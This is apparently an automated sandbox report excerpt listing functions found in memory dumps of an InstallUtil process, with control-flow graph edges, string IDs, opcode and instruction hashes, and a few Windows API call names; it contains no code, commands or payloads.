                                                                            control_flow_graph 272 7bc8640-7bc864e 273 7bc891e-7bc8943 272->273 274 7bc8654-7bc865a 272->274 286 7bc894a-7bc8952 273->286 275 7bc8748-7bc874b 274->275 276 7bc8660-7bc8662 274->276 280 7bc874d-7bc8750 275->280 281 7bc8776-7bc8782 275->281 278 7bc87ed-7bc87f1 276->278 279 7bc8668-7bc866b 276->279 282 7bc8809-7bc8815 278->282 283 7bc87f3-7bc8804 call 7bc8120 278->283 279->286 287 7bc8671-7bc867d 279->287 280->286 288 7bc8756-7bc8771 call 7bc8120 280->288 284 7bc87b4-7bc87cf call 7bc8608 281->284 285 7bc8784-7bc8788 281->285 293 7bc8847-7bc885a 282->293 294 7bc8817-7bc881b 282->294 309 7bc8918-7bc891d 283->309 284->309 291 7bc878a-7bc879e 285->291 292 7bc87a0-7bc87ab 285->292 299 7bc8959-7bc8976 286->299 296 7bc867f-7bc8683 287->296 297 7bc86a3-7bc86ae 287->297 288->309 291->284 291->292 292->284 293->299 306 7bc8860-7bc8874 293->306 303 7bc881d-7bc8831 294->303 304 7bc8833-7bc883e 294->304 307 7bc8689-7bc869d 296->307 308 7bc87d4-7bc87e8 296->308 297->299 300 7bc86b4-7bc86c3 297->300 322 7bc8988-7bc89dc 299->322 323 7bc8978-7bc8987 299->323 300->299 311 7bc86c9-7bc86d8 300->311 303->293 303->304 304->293 306->299 310 7bc887a-7bc888e 306->310 307->297 307->308 308->297 310->299 321 7bc8894-7bc88a8 310->321 311->299 317 7bc86de-7bc86ed 311->317 317->299 325 7bc86f3-7bc86fc 317->325 321->299 324 7bc88ae-7bc88c2 321->324 344 7bc8aba-7bc8adf 322->344 345 7bc89e2-7bc89e4 322->345 324->299 326 7bc88c8-7bc88d1 324->326 325->299 327 7bc8702-7bc870c 325->327 326->299 330 7bc88d7-7bc88e1 326->330 327->299 331 7bc8712-7bc871c 327->331 330->299 332 7bc88e3-7bc88ed 330->332 331->299 333 7bc8722-7bc872c 331->333 332->299 335 7bc88ef-7bc88f9 332->335 333->299 336 7bc8732-7bc8743 call 7bc8608 333->336 335->299 337 7bc88fb-7bc8905 335->337 336->309 337->299 340 7bc8907-7bc890e 337->340 340->309 342 7bc8913 call 7bc8608 340->342 342->309 347 7bc8ae6-7bc8b0b 344->347 346 7bc89ea-7bc89f1 345->346 345->347 349 7bc8aab-7bc8ab3 346->349 350 7bc89f7 346->350 360 7bc8b12-7bc8b36 347->360 349->344 350->349 351 7bc89fe-7bc8a01 350->351 352 7bc8a4b-7bc8a5d call 7bc8120 350->352 353 7bc8a40-7bc8a43 350->353 359 7bc8a07-7bc8a12 351->359 351->360 367 7bc8a5f-7bc8a64 352->367 368 7bc8a67-7bc8a6b 352->368 355 7bc8b3d-7bc8b77 353->355 356 7bc8a49 353->356 356->359 363 7bc8a1e-7bc8a3d call 7bc8608 359->363 364 7bc8a14-7bc8a16 359->364 360->355 364->363 368->359 371 7bc8a6d-7bc8a73 368->371 371->359 375 7bc8a75-7bc8aa8 371->375
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (bq$(bq$(bq$(bq$(bq$Hbq$Hbq
                                                                            • API String ID: 0-2847128760
                                                                            • Opcode ID: 8920a562184b8669589ab4b091f40e2d3d2db64d03a4751cdd151031e7726554
                                                                            • Instruction ID: 189a102ff178ae21e9b9c9f757b2cf91e76bd61fd3669b8cc19954fe033ae965
                                                                            • Opcode Fuzzy Hash: 8920a562184b8669589ab4b091f40e2d3d2db64d03a4751cdd151031e7726554
                                                                            • Instruction Fuzzy Hash: 46E1D170604602CFEB15DF68D48462EBBE2FF84215B58CA9ED48ADB785DB34F801CB95
                                                                            Function 07BC7E80 Relevance: 4.3, Strings: 3, Instructions: 525COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 384 7bc7e80-7bc7e92 385 7bc7e98-7bc7e9c 384->385 386 7bc7f85-7bc7faa 384->386 387 7bc7fb1-7bc8085 385->387 388 7bc7ea2-7bc7ea6 385->388 386->387 390 7bc808c-7bc80b0 387->390 388->390 391 7bc7eac-7bc7eb1 388->391 408 7bc80b7-7bc8136 390->408 392 7bc7edf-7bc7ee2 391->392 393 7bc7eb3-7bc7edc 391->393 396 7bc7f0e-7bc7f7e 392->396 397 7bc7ee4-7bc7ee8 392->397 396->386 400 7bc7efa-7bc7f0b 397->400 401 7bc7eea-7bc7eee 397->401 401->400 406 7bc7ef0-7bc7ef4 401->406 406->400 406->408 432 7bc8168-7bc816a 408->432 433 7bc8138-7bc813c 408->433 437 7bc816d-7bc8186 432->437 435 7bc813e-7bc8152 433->435 436 7bc8154-7bc815f 433->436 435->432 435->436 436->432 438 7bc81cf-7bc8202 437->438 439 7bc8188-7bc8198 437->439 445 7bc8248-7bc826d 438->445 446 7bc8204-7bc8208 438->446 439->437 440 7bc819a-7bc81a4 439->440 440->438 444 7bc81a6-7bc81ce 440->444 449 7bc8274-7bc82c0 445->449 448 7bc820a-7bc8221 446->448 446->449 457 7bc8227-7bc8233 448->457 463 7bc82c6-7bc82d0 449->463 464 7bc8420-7bc8445 449->464 461 7bc823e-7bc8245 457->461 465 7bc82da-7bc82de 463->465 466 7bc82d2 463->466 468 7bc844c-7bc8470 464->468 465->468 469 7bc82e4-7bc82ec 465->469 466->465 480 7bc8477-7bc84df 468->480 470 7bc8411-7bc8419 469->470 471 7bc82f2 469->471 470->464 471->470 472 7bc82f9-7bc8318 471->472 473 7bc831b-7bc8330 471->473 474 7bc8395-7bc839b 471->474 477 7bc8361-7bc8392 473->477 478 7bc8332-7bc8336 473->478 474->480 481 7bc83a1-7bc83af 474->481 482 7bc8338-7bc834e 478->482 483 7bc8350-7bc8359 478->483 485 7bc83e0-7bc840e 481->485 486 7bc83b1-7bc83b5 481->486 482->477 482->483 483->477 489 7bc83cf-7bc83d8 486->489 490 7bc83b7-7bc83cd 486->490 489->485 490->485 490->489
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (bq$(bq$(bq
                                                                            • API String ID: 0-2716923250
                                                                            • Opcode ID: 4c3a14f70285359eb57e3eaadf6f6e7757f0d5c7c97c2ac0948752854aa35297
                                                                            • Instruction ID: 5fc97e2eaff6b21280a095ec661a3a4164bc17490019562435162a75c9df0a33
                                                                            • Opcode Fuzzy Hash: 4c3a14f70285359eb57e3eaadf6f6e7757f0d5c7c97c2ac0948752854aa35297
                                                                            • Instruction Fuzzy Hash: BD12BFB0B006559FCB58EF68C59466EBBF2FF88300B14866DD44ADB794DA34ED02CB91
                                                                            Function 07BC13D8 Relevance: 4.1, Strings: 3, Instructions: 365COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 499 7bc13d8-7bc13e8 500 7bc13ee-7bc13f2 499->500 501 7bc1501-7bc1526 499->501 502 7bc152d-7bc1552 500->502 503 7bc13f8-7bc1401 500->503 501->502 504 7bc1559-7bc158f 502->504 503->504 505 7bc1407-7bc142e 503->505 521 7bc1596-7bc15f5 504->521 515 7bc1434-7bc1436 505->515 516 7bc14f6-7bc1500 505->516 519 7bc1438-7bc143b 515->519 520 7bc1457-7bc1459 515->520 519->521 522 7bc1441-7bc144b 519->522 523 7bc145c-7bc1460 520->523 539 7bc1619-7bc1630 521->539 540 7bc15f7-7bc160b 521->540 522->521 525 7bc1451-7bc1455 522->525 526 7bc14c1-7bc14cd 523->526 527 7bc1462-7bc1471 523->527 525->520 525->523 526->521 528 7bc14d3-7bc14f0 526->528 527->521 533 7bc1477-7bc14be 527->533 528->515 528->516 533->526 549 7bc1636-7bc171b call 7bc0910 539->549 550 7bc1720-7bc1730 539->550 597 7bc160e call 7bc195f 540->597 598 7bc160e call 7bc1be0 540->598 599 7bc160e call 7bc1bd0 540->599 600 7bc160e call 7bc1b00 540->600 601 7bc160e call 7bc1970 540->601 545 7bc1614 547 7bc1842-7bc184d 545->547 554 7bc187c-7bc189d 547->554 555 7bc184f-7bc185f 547->555 549->550 556 7bc181d-7bc1839 550->556 557 7bc1736-7bc180f call 7bc0910 550->557 564 7bc186f-7bc1875 555->564 565 7bc1861-7bc1867 555->565 556->547 594 7bc181a 557->594 595 7bc1811 557->595 564->554 565->564 594->556 595->594 597->545 598->545 599->545 600->545 601->545
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (bq$(bq$Hbq
                                                                            • API String ID: 0-2835675688
                                                                            • Opcode ID: 3e6362337ca1be74ddeceacbf5a7c13637b2dbab5828214358166f0682065be5
                                                                            • Instruction ID: 6882f0598c7d1c0301e1cbfcdbb58ac3e7a58c6d1e8cd3a8157901eff942a99b
                                                                            • Opcode Fuzzy Hash: 3e6362337ca1be74ddeceacbf5a7c13637b2dbab5828214358166f0682065be5
                                                                            • Instruction Fuzzy Hash: E3E15574A00209DFCB44EFA8D5949ADBBB2FFC9300F118569E815AB365DB30ED46CB91
                                                                            Function 07BC6860 Relevance: 2.8, Strings: 2, Instructions: 295COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 782 7bc6860-7bc68c0 789 7bc68c8-7bc6901 782->789 793 7bc690a-7bc694c 789->793 794 7bc6903-7bc6908 789->794 795 7bc694f-7bc6959 793->795 794->795 796 7bc695f-7bc6a4d 795->796 797 7bc6a55-7bc6b3a 795->797 796->797 836 7bc6b3c-7bc6b71 797->836 837 7bc6b7e-7bc6be9 797->837 836->837 848 7bc6b73-7bc6b76 836->848 851 7bc6beb 837->851 852 7bc6bf4 837->852 848->837 851->852 853 7bc6bf5 852->853 853->853
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q$4'^q
                                                                            • API String ID: 0-2697143702
                                                                            • Opcode ID: a8d8d914955d8c3c61076b02351e45450d96c6de4505a1ae67b74b7bdb339079
                                                                            • Instruction ID: d1238aeb53e7f365d91b05b86cc85a0c76c92cc327df0f2e69f6b58409147bdc
                                                                            • Opcode Fuzzy Hash: a8d8d914955d8c3c61076b02351e45450d96c6de4505a1ae67b74b7bdb339079
                                                                            • Instruction Fuzzy Hash: F4C1CA74A00219CFDB44EFA8D994AADB7B6FF89300F114169E915AB3A4DB31ED42CF50
                                                                            Function 07BC6852 Relevance: 2.8, Strings: 2, Instructions: 277COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 854 7bc6852-7bc68ac 861 7bc68b5-7bc68c0 854->861 862 7bc68c8-7bc6901 861->862 866 7bc690a-7bc694c 862->866 867 7bc6903-7bc6908 862->867 868 7bc694f-7bc6959 866->868 867->868 869 7bc695f-7bc6a4d 868->869 870 7bc6a55-7bc6b3a 868->870 869->870 909 7bc6b3c-7bc6b71 870->909 910 7bc6b7e-7bc6be9 870->910 909->910 921 7bc6b73-7bc6b76 909->921 924 7bc6beb 910->924 925 7bc6bf4 910->925 921->910 924->925 926 7bc6bf5 925->926 926->926
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q$4'^q
                                                                            • API String ID: 0-2697143702
                                                                            • Opcode ID: 8aeaddfb9979e3509bbb4fc2b8e13cb0a626e1a76898e49b736c1f3dd75a7fb3
                                                                            • Instruction ID: c07f053393ad835be6f25b542ca5bcdc89038a8f860df14e3041484aba79d9c3
                                                                            • Opcode Fuzzy Hash: 8aeaddfb9979e3509bbb4fc2b8e13cb0a626e1a76898e49b736c1f3dd75a7fb3
                                                                            • Instruction Fuzzy Hash: 56C1D974B00219CFDB44EFA4D994AADB7B6BF89300F114169E506AB3A5DB31ED42CF50
                                                                            Function 07BC682F Relevance: 2.8, Strings: 2, Instructions: 268COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 927 7bc682f-7bc6831 928 7bc689d-7bc68a4 927->928 929 7bc6833-7bc6839 927->929 931 7bc68a5-7bc68ac 928->931 930 7bc683b-7bc684a 929->930 929->931 933 7bc68b5-7bc68c0 931->933 934 7bc68c8-7bc6901 933->934 938 7bc690a-7bc694c 934->938 939 7bc6903-7bc6908 934->939 940 7bc694f-7bc6959 938->940 939->940 941 7bc695f-7bc6a4d 940->941 942 7bc6a55-7bc6b3a 940->942 941->942 981 7bc6b3c-7bc6b71 942->981 982 7bc6b7e-7bc6be9 942->982 981->982 993 7bc6b73-7bc6b76 981->993 996 7bc6beb 982->996 997 7bc6bf4 982->997 993->982 996->997 998 7bc6bf5 997->998 998->998
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q$4'^q
                                                                            • API String ID: 0-2697143702
                                                                            • Opcode ID: ad7920576ce3e4fe0d2272b521ec334f0703dacd91d5595ec87311ccc2c9c9f9
                                                                            • Instruction ID: 4d4551a963e32142afa35136ef2fe7a1b537e73e23ec89457faba8d0f003fac2
                                                                            • Opcode Fuzzy Hash: ad7920576ce3e4fe0d2272b521ec334f0703dacd91d5595ec87311ccc2c9c9f9
                                                                            • Instruction Fuzzy Hash: EDB1EA75B00219CFDB44EFA4D9A8AADB7B2BF88300F114199E505AB3A5DB31ED42CF50
                                                                            Function 012AC008 Relevance: 1.7, APIs: 1, Instructions: 198COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 999 12ac008-12ac017 1000 12ac019-12ac026 call 12ab35c 999->1000 1001 12ac043-12ac047 999->1001 1006 12ac028 1000->1006 1007 12ac03c 1000->1007 1003 12ac05b-12ac09c 1001->1003 1004 12ac049-12ac053 1001->1004 1010 12ac0a9-12ac0b7 1003->1010 1011 12ac09e-12ac0a6 1003->1011 1004->1003 1055 12ac02e call 12ac2a0 1006->1055 1056 12ac02e call 12ac290 1006->1056 1007->1001 1012 12ac0db-12ac0dd 1010->1012 1013 12ac0b9-12ac0be 1010->1013 1011->1010 1018 12ac0e0-12ac0e7 1012->1018 1015 12ac0c9 1013->1015 1016 12ac0c0-12ac0c7 call 12ab368 1013->1016 1014 12ac034-12ac036 1014->1007 1017 12ac178-12ac238 1014->1017 1020 12ac0cb-12ac0d9 1015->1020 1016->1020 1050 12ac23a-12ac23d 1017->1050 1051 12ac240-12ac26b GetModuleHandleW 1017->1051 1021 12ac0e9-12ac0f1 1018->1021 1022 12ac0f4-12ac0fb 1018->1022 1020->1018 1021->1022 1024 12ac108-12ac111 call 12ab378 1022->1024 1025 12ac0fd-12ac105 1022->1025 1030 12ac11e-12ac123 1024->1030 1031 12ac113-12ac11b 1024->1031 1025->1024 1032 12ac141-12ac14e 1030->1032 1033 12ac125-12ac12c 1030->1033 1031->1030 1040 12ac150-12ac16e 1032->1040 1041 12ac171-12ac177 1032->1041 1033->1032 1035 12ac12e-12ac13e call 12ab388 call 12ab398 1033->1035 1035->1032 1040->1041 1050->1051 1052 12ac26d-12ac273 1051->1052 1053 12ac274-12ac288 1051->1053 1052->1053 1055->1014 1056->1014
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: HandleModule
                                                                            • String ID:
                                                                            • API String ID: 4139908857-0
                                                                            • Opcode ID: 4fc510b86e917630b21eef9d17bd23edd772ee47fc58de1362a275ef5f1ec4ea
                                                                            • Instruction ID: f7a90fc326c9fc81d0c516a1f0c727f23fab23412aa71a0de27bf2dd7561dad6
                                                                            • Opcode Fuzzy Hash: 4fc510b86e917630b21eef9d17bd23edd772ee47fc58de1362a275ef5f1ec4ea
                                                                            • Instruction Fuzzy Hash: 7A713470A10B068FD724DF69C44475ABBF1FF88304F008A2ED58A97B50DB75E959CB90
                                                                            Function 012A63D4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1057 12a63d4-12a7431 CreateActCtxA 1060 12a743a-12a7494 1057->1060 1061 12a7433-12a7439 1057->1061 1068 12a74a3-12a74a7 1060->1068 1069 12a7496-12a7499 1060->1069 1061->1060 1070 12a74b8 1068->1070 1071 12a74a9-12a74b5 1068->1071 1069->1068 1073 12a74b9 1070->1073 1071->1070 1073->1073
                                                                            APIs
                                                                            • CreateActCtxA.KERNEL32(?), ref: 012A7421
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Create
                                                                            • String ID:
                                                                            • API String ID: 2289755597-0
                                                                            • Opcode ID: d0ca75468e60dabcaa192b4e79ae013773b862929e0362f09984dd907d54318d
                                                                            • Instruction ID: 7d33f75300b1ca5b32bd4db85783f9ee3a8c9d2bcfcfc7384974f458fffba3cc
                                                                            • Opcode Fuzzy Hash: d0ca75468e60dabcaa192b4e79ae013773b862929e0362f09984dd907d54318d
                                                                            • Instruction Fuzzy Hash: 3741DFB0C00619CBDB24CFA9C944B9EBBF5FF48304F6080AAD408AB255DB756985CF94
                                                                            Function 012A7365 Relevance: 1.6, APIs: 1, Instructions: 94COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1074 12a7365-12a7431 CreateActCtxA 1076 12a743a-12a7494 1074->1076 1077 12a7433-12a7439 1074->1077 1084 12a74a3-12a74a7 1076->1084 1085 12a7496-12a7499 1076->1085 1077->1076 1086 12a74b8 1084->1086 1087 12a74a9-12a74b5 1084->1087 1085->1084 1089 12a74b9 1086->1089 1087->1086 1089->1089
                                                                            APIs
                                                                            • CreateActCtxA.KERNEL32(?), ref: 012A7421
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Create
                                                                            • String ID:
                                                                            • API String ID: 2289755597-0
                                                                            • Opcode ID: 36bec3dcf1a694c1f8911d8b1885d0db8b0c2bb641efec420647a197faa3a3e2
                                                                            • Instruction ID: f4e74df56cd6d40bb7c188d90dad66ad8f80dacf4cb71dfe29cb7fd07ab49ab5
                                                                            • Opcode Fuzzy Hash: 36bec3dcf1a694c1f8911d8b1885d0db8b0c2bb641efec420647a197faa3a3e2
                                                                            • Instruction Fuzzy Hash: 3B41C1B1C00619CFDB24CFA9C9447DEBBB5BF48304F64809AD408AB255DB755945CF94
                                                                            Function 012A611C Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1090 12a611c-12a681c DuplicateHandle 1092 12a681e-12a6824 1090->1092 1093 12a6825-12a6842 1090->1093 1092->1093
                                                                            APIs
                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,012A674E,?,?,?,?,?), ref: 012A680F
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: DuplicateHandle
                                                                            • String ID:
                                                                            • API String ID: 3793708945-0
                                                                            • Opcode ID: a8f78f33ca9bd571044f6e68949899df8c1dbf445a6cad0deb2aa43da859a2ca
                                                                            • Instruction ID: 9f3a5bc0ed6115859e5ea0d94af470c5a8a4c3e40f562fdc4c801c742679bf2b
                                                                            • Opcode Fuzzy Hash: a8f78f33ca9bd571044f6e68949899df8c1dbf445a6cad0deb2aa43da859a2ca
                                                                            • Instruction Fuzzy Hash: 3621E5B59102089FDB10CF99D984ADEBFF8FB48310F14841AE958A7310D374A944CFA5
                                                                            Function 012A6782 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1096 12a6782-12a6783 1097 12a6788-12a681c DuplicateHandle 1096->1097 1098 12a681e-12a6824 1097->1098 1099 12a6825-12a6842 1097->1099 1098->1099
                                                                            APIs
                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,012A674E,?,?,?,?,?), ref: 012A680F
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: DuplicateHandle
                                                                            • String ID:
                                                                            • API String ID: 3793708945-0
                                                                            • Opcode ID: c132145a17a46f86d00d7f183148ee29992f6039a7c883737d7094ce802da9a8
                                                                            • Instruction ID: 130f402d33b35463d1767a2af0b275af078b6e82ac3d753412719425da20bc08
                                                                            • Opcode Fuzzy Hash: c132145a17a46f86d00d7f183148ee29992f6039a7c883737d7094ce802da9a8
                                                                            • Instruction Fuzzy Hash: 8221E4B59002089FDB10CFAAD984ADEFFF8FB48320F14801AE958A3310D375A944CFA5
                                                                            Function 07BC55C0 Relevance: 1.6, Strings: 1, Instructions: 309COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1102 7bc55c0-7bc5641 1111 7bc564a-7bc5658 1102->1111 1112 7bc5643-7bc5648 1102->1112 1113 7bc565b-7bc56d6 call 7bc1b00 1111->1113 1112->1113 1187 7bc56d9 call 7bc5a88 1113->1187 1188 7bc56d9 call 7bc5a54 1113->1188 1123 7bc56df-7bc56e6 1124 7bc56ef-7bc572c 1123->1124 1125 7bc56e8-7bc56ed 1123->1125 1126 7bc572f-7bc579c 1124->1126 1125->1126 1138 7bc58ad-7bc590b 1126->1138 1139 7bc57a2-7bc58ab call 7bc5308 call 7bc52a0 call 7bc0910 1126->1139 1156 7bc5912-7bc593a 1138->1156 1139->1156 1163 7bc593c-7bc5974 1156->1163 1164 7bc5976-7bc599b 1156->1164 1163->1164 1172 7bc599d 1164->1172 1173 7bc59a6 1164->1173 1172->1173 1176 7bc59a7 1173->1176 1176->1176 1187->1123 1188->1123
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: Pl^q
                                                                            • API String ID: 0-2831078282
                                                                            • Opcode ID: 110cc05fff9744eea5d87738004b651fe3d4a4c3f8e39a744700c75789b50ced
                                                                            • Instruction ID: 8147aaca1ef785048d547d503f7d211d0d85788412b5ef9c972a15abed2a9149
                                                                            • Opcode Fuzzy Hash: 110cc05fff9744eea5d87738004b651fe3d4a4c3f8e39a744700c75789b50ced
                                                                            • Instruction Fuzzy Hash: E1D10F74B112189FDB44EFA5D994E9EB7B2BFC8700F118559E805AB3A4CB71EC41CB50
                                                                            Function 012AB35C Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,012AC024), ref: 012AC25E
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923396420.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_12a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: HandleModule
                                                                            • String ID:
                                                                            • API String ID: 4139908857-0
                                                                            • Opcode ID: d4445833345fa0bd513542526c2232c84042879ff349af89f88be36db313d0ae
                                                                            • Instruction ID: 83634cd138cf67b396d7eefec14d07323fb13c1e8ede8fb965c296263f8802dc
                                                                            • Opcode Fuzzy Hash: d4445833345fa0bd513542526c2232c84042879ff349af89f88be36db313d0ae
                                                                            • Instruction Fuzzy Hash: 65110FB5D00249CFDB14DF9AC444ADEFBF4EB88724F10842AD929B7210D375A545CFA5
                                                                            Function 07BC1970 Relevance: 1.5, Strings: 1, Instructions: 293COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (bq
                                                                            • API String ID: 0-149360118
                                                                            • Opcode ID: ca115e391209d2059b89c0ed774c74efd5f06cfa70fdf60c34621b1c32913d9d
                                                                            • Instruction ID: f26f95d4495248554f1b869ff08c3201383ef02cda058e0a9387abcbb16a1837
                                                                            • Opcode Fuzzy Hash: ca115e391209d2059b89c0ed774c74efd5f06cfa70fdf60c34621b1c32913d9d
                                                                            • Instruction Fuzzy Hash: 63A1A2B57002059FD715DF68D894A2A7BB2FFC9314F1584A9E6068F3A2CB36EC42CB51
                                                                            Function 07BC55B2 Relevance: 1.5, Strings: 1, Instructions: 260COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: Pl^q
                                                                            • API String ID: 0-2831078282
                                                                            • Opcode ID: 05aaf7b4cd49e79a33c65c92a48b46845eaa4001e4040c841ac00d937796720a
                                                                            • Instruction ID: 217e7f27ef576a2b29e9bfa39615a39e1778ca6323f1028293cff0efc8dc2664
                                                                            • Opcode Fuzzy Hash: 05aaf7b4cd49e79a33c65c92a48b46845eaa4001e4040c841ac00d937796720a
                                                                            • Instruction Fuzzy Hash: 88A12F74B112189FDB44EFA9D994E9EB7B2BFC8700F118559E805AB3A4CB71EC42CB50
                                                                            Function 07BC0AA8 Relevance: 1.4, Strings: 1, Instructions: 134COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q
                                                                            • API String ID: 0-1614139903
                                                                            • Opcode ID: ff319ee712052b24dedfcac18356773e40e368a829f789c1dd3eb32b4cf9f638
                                                                            • Instruction ID: b8d8c0adbd36a2ec7d015233b9a3a42e1df63304a7b7e178cc392ce570d78df9
                                                                            • Opcode Fuzzy Hash: ff319ee712052b24dedfcac18356773e40e368a829f789c1dd3eb32b4cf9f638
